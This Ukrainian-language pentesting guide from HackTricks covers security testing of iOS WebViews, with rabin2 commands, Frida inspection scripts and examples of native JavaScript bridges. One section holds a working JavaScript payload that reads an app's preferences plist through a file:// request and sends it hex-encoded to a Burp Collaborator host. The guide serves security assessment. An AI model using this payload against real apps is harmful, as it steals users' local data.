iOS WebViews

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Код цієї сторінки був витягнутий з тут. Перевірте сторінку для отримання додаткових відомостей.

Типи веб-виглядів

Веб-вигляди використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи веб-виглядів пропонують різні функціональності та функції безпеки для додатків iOS. Ось короткий огляд:

  • UIWebView, який більше не рекомендується з iOS 12 через відсутність підтримки відключення JavaScript, що робить його вразливим до внедрення скриптів та атак Cross-Site Scripting (XSS).

  • WKWebView є перевагою для включення вмісту в додатки, пропонуючи покращене керування вмістом та функціями безпеки. JavaScript увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції для запобігання автоматичному відкриттю вікон JavaScript та забезпечує безпечне завантаження всього вмісту. Крім того, архітектура WKWebView мінімізує ризик впливу на пам'ять, що впливає на основний процес додатка.

  • SFSafariViewController пропонує стандартизований досвід перегляду веб-сторінок у додатках, який відрізняється своєю конкретною компоновкою, включаючи лише для читання поле адреси, кнопки обміну та навігації, а також пряме посилання на відкриття вмісту в Safari. На відміну від WKWebView, JavaScript не може бути вимкнений в SFSafariViewController, який також спільно використовує файли cookie та дані з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути відображений видно згідно з вимогами App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Огляд налаштування WebViews

Загальний огляд статичного аналізу

Під час вивчення конфігурацій WebViews акцентується на двох основних типах: UIWebView та WKWebView. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають конкретні посилання на класи та методи ініціалізації.

  • Ідентифікація UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ця команда допомагає знаходити екземпляри UIWebView, шукаючи текстові рядки, що стосуються його в бінарному коді.

  • Ідентифікація WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Так само, для WKWebView, ця команда шукає бінарний файл для текстових рядків, що свідчать про його використання.

Крім того, щоб знайти, як ініціалізується WKWebView, виконується наступна команда, спрямована на підпис методу, пов'язаного з його ініціалізацією:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Перевірка конфігурації JavaScript

Для WKWebView відзначається, що вимкнення JavaScript є найкращою практикою, якщо це необхідно. Компільований бінарний файл перевіряється, щоб підтвердити, що властивість javaScriptEnabled встановлена на false, що гарантує вимкнення JavaScript:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Лише перевірка безпечного вмісту

WKWebView пропонує можливість виявлення проблем змішаного вмісту, відмінно від UIWebView. Це перевіряється за допомогою властивості hasOnlySecureContent, щоб забезпечити, що всі ресурси сторінки завантажуються через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Динамічний аналіз

Динамічний аналіз включає перевірку купи для екземплярів WebView та їх властивостей. Сценарій під назвою webviews_inspector.js використовується для цієї мети, спрямований на екземпляри UIWebView, WKWebView та SFSafariViewController. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним вмістом.

Перевірку купи можна провести, використовуючи ObjC.choose() для ідентифікації екземплярів WebView та перевірки властивостей javaScriptEnabled та hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Скрипт виконується за допомогою:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Основні результати:

  • Вдало знаходяться та перевіряються екземпляри WebViews.

  • Перевіряється активація JavaScript та налаштування безпеки контенту.

Цей огляд узагальнює критичні кроки та команди, які використовуються для аналізу конфігурацій WebView через статичні та динамічні підходи, зосереджуючись на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.

Обробка протоколів WebView

Обробка контенту в WebViews є критичним аспектом, особливо при роботі з різними протоколами, такими як http(s)://, file:// та tel://. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент у додатках. Наголошується, що при завантаженні локального контенту необхідно вживати заходів для запобігання впливу користувачів на ім'я або шлях файлу та відредаговання самого контенту.

WebViews пропонують різні методи завантаження контенту. Для UIWebView, який зараз застарів, використовуються методи, такі як loadHTMLString:baseURL: та loadData:MIMEType:textEncodingName:baseURL:. WKWebView, з іншого боку, використовує loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: та loadRequest: для веб-контенту. Методи, такі як pathForResource:ofType:, URLForResource:withExtension: та init(contentsOf:encoding:), зазвичай використовуються для завантаження локальних файлів. Метод loadFileURL:allowingReadAccessToURL: особливо відомий своєю можливістю завантажувати конкретний URL або каталог у WebView, що потенційно може викрити чутливі дані у разі вказання каталогу.

Для пошуку цих методів у вихідному коді або скомпільованому бінарному файлі можна використовувати такі команди:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Щодо доступу до файлів, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування allowFileAccessFromFileURLs та allowUniversalAccessFromFileURLs для управління доступом з файлових URL-адрес, обидва за замовчуванням встановлені в значення false.

Наведено приклад скрипта Frida для перевірки конфігурацій WKWebView для налаштувань безпеки:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

В кінцевому підсумку, приклад JavaScript-навантаження, спрямованого на витягування локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Це навантаження кодує вміст файлу у шістнадцятковому форматі перед передачею їх на сервер, підкреслюючи важливість суворих заходів безпеки в реалізації WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Вбудовані методи, які викриваються через WebViews

Розуміння вбудованих інтерфейсів WebView в iOS

Починаючи з iOS 7, Apple надала API для зв'язку між JavaScript у WebView та вбудованими об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється за допомогою двох методів:

  • JSContext: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язаний з ідентифікатором у JSContext. Це дозволяє безшовну інтеграцію та зв'язок між JavaScript та вбудованим кодом.

  • JSExport Protocol: Шляхом успадкування протоколу JSExport можна викрити вбудовані властивості, екземплярні методи та методи класу для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в вбудованому середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не випадково не викриваються через цей метод.

Отримання доступу до JSContext в Objective-C

У Objective-C, JSContext для UIWebView можна отримати за допомогою наступного рядка коду:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Зв'язок з WKWebView

Для WKWebView прямий доступ до JSContext недоступний. Замість цього використовується передача повідомлень через функцію postMessage, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript взаємодіяти з нативним додатком безпечно:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Взаємодія та тестування

JavaScript може взаємодіяти з внутрішнім рівнем, визначаючи обробник повідомлень скрипту. Це дозволяє виконувати операції, такі як виклик внутрішніх функцій з веб-сторінки:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Для захоплення та маніпулювання результатом виклику вбудованої функції, можна перевизначити функцію зворотного виклику в межах HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Нативна сторона обробляє виклик JavaScript, як показано в класі JavaScriptBridgeMessageHandler, де результат операцій, таких як множення чисел, обробляється і відправляється назад до JavaScript для відображення або подальшої обробки:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Налаштування відлагодження iOS WebViews

(Посібник на основі https://blog.vuplex.com/debugging-webviews)

Для ефективного відлагодження веб-контенту в межах iOS webviews потрібна конкретна настройка, яка включає в себе інструменти розробника Safari, оскільки повідомлення, відправлені до console.log(), не відображаються в журналах Xcode. Ось спрощений посібник, який підкреслює ключові кроки та вимоги:

  • Підготовка на пристрої iOS: Інспектор веб-сторінок Safari повинен бути активований на вашому пристрої iOS. Це робиться, перейшовши до Налаштування > Safari > Додатково, та увімкнувши Інспектор веб-сторінок.

  • Підготовка на пристрої macOS: На вашому робочому пристрої macOS вам потрібно увімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до Safari > Налаштування > Додатково, та виберіть опцію Показати меню Розробник.

  • Підключення та відлагодження: Після підключення вашого пристрою iOS до комп'ютера macOS та запуску вашої програми, використовуйте Safari на пристрої macOS, щоб вибрати webview, яку ви хочете відлагоджувати. Перейдіть до Розробка у меню Safari, наведіть курсор на назву вашого пристрою iOS, щоб побачити список екземплярів webview, та виберіть екземпляр, який ви хочете перевірити. Для цієї мети відкриється нове вікно Інспектора веб-сторінок Safari.

Проте слід бути уважним до обмежень:

  • Для відлагодження за цим методом потрібен пристрій macOS, оскільки він залежить від Safari.

  • Тільки webviews у програмах, завантажених на ваш пристрій через Xcode, можуть бути відлагоджені. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути відлагоджені цим способом.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated